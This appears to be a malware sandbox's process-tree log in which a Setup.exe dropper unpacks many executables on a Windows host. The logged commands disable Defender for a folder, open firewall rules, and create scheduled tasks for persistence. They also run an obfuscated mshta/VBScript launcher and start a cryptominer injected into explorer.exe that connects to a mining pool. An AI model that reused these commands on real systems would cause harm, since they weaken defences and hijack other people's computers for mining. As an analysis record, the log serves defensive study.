C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2556 /prefetch:111⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2956 /prefetch:211⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=3232 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=3484 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=3504 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=2996 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=3500 /prefetch:811⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\BuYr_D7wdVwqtfqFd3D8KH45.exe"C:\Users\Admin\Pictures\Adobe Films\BuYr_D7wdVwqtfqFd3D8KH45.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3332 -s 2927⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\U6H9fdqzYkz1rijDsfjqWBoN.exe"C:\Users\Admin\Pictures\Adobe Films\U6H9fdqzYkz1rijDsfjqWBoN.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1600 -s 2567⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\etGoCACGUFJzpzYRNnJtGZBJ.exe"C:\Users\Admin\Pictures\Adobe Films\etGoCACGUFJzpzYRNnJtGZBJ.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\QZNK5VhWVXv5qvwVzonw58ua.exe"C:\Users\Admin\Pictures\Adobe Films\QZNK5VhWVXv5qvwVzonw58ua.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\jmANuLHicZVhNrsr2UwBagkc.exe"C:\Users\Admin\Pictures\Adobe Films\jmANuLHicZVhNrsr2UwBagkc.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue132b1547125d9.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue132b1547125d9.exeTue132b1547125d9.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue136037e6ffe49ce8.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue136037e6ffe49ce8.exeTue136037e6ffe49ce8.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-IKP7M.tmp\Tue136037e6ffe49ce8.tmp"C:\Users\Admin\AppData\Local\Temp\is-IKP7M.tmp\Tue136037e6ffe49ce8.tmp" /SL5="$20308,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue136037e6ffe49ce8.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue136037e6ffe49ce8.exe"C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue136037e6ffe49ce8.exe" /SILENT7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-2P5S6.tmp\Tue136037e6ffe49ce8.tmp"C:\Users\Admin\AppData\Local\Temp\is-2P5S6.tmp\Tue136037e6ffe49ce8.tmp" /SL5="$2030C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue136037e6ffe49ce8.exe" /SILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1LGS6.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-1LGS6.tmp\postback.exe" ss19⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue137fdfa416e28ff.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue137fdfa416e28ff.exeTue137fdfa416e28ff.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\6406281.exe"C:\Users\Admin\AppData\Roaming\6406281.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3063996.exe"C:\Users\Admin\AppData\Roaming\3063996.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\5241331.exe"C:\Users\Admin\AppData\Roaming\5241331.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\6437869.exe"C:\Users\Admin\AppData\Roaming\6437869.exe"6⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\2526648.exe"C:\Users\Admin\AppData\Roaming\2526648.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue132dd525eb51d2.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a98da3f882e5.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13a98da3f882e5.exeTue13a98da3f882e5.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 2926⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13743175c95e24e0.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13743175c95e24e0.exeTue13743175c95e24e0.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"7⤵
- Executes dropped EXE
-
C:\ProgramData\2951768.exe"C:\ProgramData\2951768.exe"8⤵
-
C:\ProgramData\1797784.exe"C:\ProgramData\1797784.exe"8⤵
-
C:\ProgramData\4788223.exe"C:\ProgramData\4788223.exe"8⤵
-
C:\ProgramData\1634902.exe"C:\ProgramData\1634902.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\6275019.exe"C:\ProgramData\6275019.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1556 -s 2928⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-D1NIP.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-D1NIP.tmp\setup.tmp" /SL5="$3030C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-U7BJ0.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-U7BJ0.tmp\setup.tmp" /SL5="$90224,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-SRTJ8.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-SRTJ8.tmp\postback.exe" ss111⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\8.exe"C:\Users\Admin\AppData\Local\Temp\8.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
- Blocklisted process makes network request
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13bd9cb08d6.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bd9cb08d6.exeTue13bd9cb08d6.exe /mixone5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5388 -s 3006⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a3eaad6ca1da2.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13a3eaad6ca1da2.exeTue13a3eaad6ca1da2.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13a3eaad6ca1da2.exeC:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13a3eaad6ca1da2.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\mminer.exe"C:\Users\Admin\AppData\Local\Temp\mminer.exe"7⤵
-
C:\Users\Admin\Desktop\Setup.exe"C:\Users\Admin\Desktop\Setup.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\HDfowmS1HOxGwHBKJLIKVYen.exe"C:\Users\Admin\Pictures\Adobe Films\HDfowmS1HOxGwHBKJLIKVYen.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\BdMicUma9WC2BoePKvML9Okg.exe"C:\Users\Admin\Pictures\Adobe Films\BdMicUma9WC2BoePKvML9Okg.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 2363⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\RkfDS1wkUhZjroFZj5lg7EwP.exe"C:\Users\Admin\Pictures\Adobe Films\RkfDS1wkUhZjroFZj5lg7EwP.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\xWiCUfEGNV4sdFRFCgW9HwRm.exe"C:\Users\Admin\Pictures\Adobe Films\xWiCUfEGNV4sdFRFCgW9HwRm.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"3⤵
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\Q3aNO19DsWiTG2a20Ml5hgM4.exe"C:\Users\Admin\Pictures\Adobe Films\Q3aNO19DsWiTG2a20Ml5hgM4.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\X09aTGVNxnNUNXoUuk0G6cKs.exe"C:\Users\Admin\Pictures\Adobe Films\X09aTGVNxnNUNXoUuk0G6cKs.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\BulMho5kNP9ebO2QG6u40UTm.exe"C:\Users\Admin\Documents\BulMho5kNP9ebO2QG6u40UTm.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\aO_WfpyTJS6Iv5N0JsZfI8Gy.exe"C:\Users\Admin\Pictures\Adobe Films\aO_WfpyTJS6Iv5N0JsZfI8Gy.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\upnfiMd7_enUOEV_52tQms8y.exe"C:\Users\Admin\Pictures\Adobe Films\upnfiMd7_enUOEV_52tQms8y.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\7912785.exe"C:\Users\Admin\AppData\Roaming\7912785.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\8512607.exe"C:\Users\Admin\AppData\Roaming\8512607.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\6454507.exe"C:\Users\Admin\AppData\Roaming\6454507.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\5052990.exe"C:\Users\Admin\AppData\Roaming\5052990.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\357794.exe"C:\Users\Admin\AppData\Roaming\357794.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\gwRRcIESxRL17XyRXRsUpY0k.exe"C:\Users\Admin\Pictures\Adobe Films\gwRRcIESxRL17XyRXRsUpY0k.exe" /mixtwo4⤵
-
C:\Users\Admin\Pictures\Adobe Films\glsdWQLAnHjquXwvEylrTLhB.exe"C:\Users\Admin\Pictures\Adobe Films\glsdWQLAnHjquXwvEylrTLhB.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\F35kesditrWix8u_z0F4c1Xq.exe"C:\Users\Admin\Pictures\Adobe Films\F35kesditrWix8u_z0F4c1Xq.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\M2De5BhGBVXJx2rTm32Kljvx.exe"C:\Users\Admin\Pictures\Adobe Films\M2De5BhGBVXJx2rTm32Kljvx.exe"4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--b78Osr"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7fffd481dec0,0x7fffd481ded0,0x7fffd481dee07⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1580,5357381188181688027,14392284944987689620,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4208_1897281077" --mojo-platform-channel-handle=1888 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1580,5357381188181688027,14392284944987689620,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4208_1897281077" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1600 /prefetch:27⤵
-
C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe"C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\d_ur49N76yPWfYyvAwhrTu7l.exe" ) do taskkill -f -iM "%~NxM"6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "d_ur49N76yPWfYyvAwhrTu7l.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\sdKHyUtmEmJZksbseBrCh6n1.exe"C:\Users\Admin\Pictures\Adobe Films\sdKHyUtmEmJZksbseBrCh6n1.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-HJTC3.tmp\sdKHyUtmEmJZksbseBrCh6n1.tmp"C:\Users\Admin\AppData\Local\Temp\is-HJTC3.tmp\sdKHyUtmEmJZksbseBrCh6n1.tmp" /SL5="$106CA,506127,422400,C:\Users\Admin\Pictures\Adobe Films\sdKHyUtmEmJZksbseBrCh6n1.exe"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-41DPI.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-41DPI.tmp\DYbALA.exe" /S /UID=27096⤵
-
C:\Program Files\Microsoft Office 15\ZCJBIUIRLA\foldershare.exe"C:\Program Files\Microsoft Office 15\ZCJBIUIRLA\foldershare.exe" /VERYSILENT7⤵
-
C:\Users\Admin\AppData\Local\Temp\73-12bea-cb6-cdb91-070f46e15a069\Pygaegylyro.exe"C:\Users\Admin\AppData\Local\Temp\73-12bea-cb6-cdb91-070f46e15a069\Pygaegylyro.exe"7⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e68⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:29⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2972 /prefetch:39⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
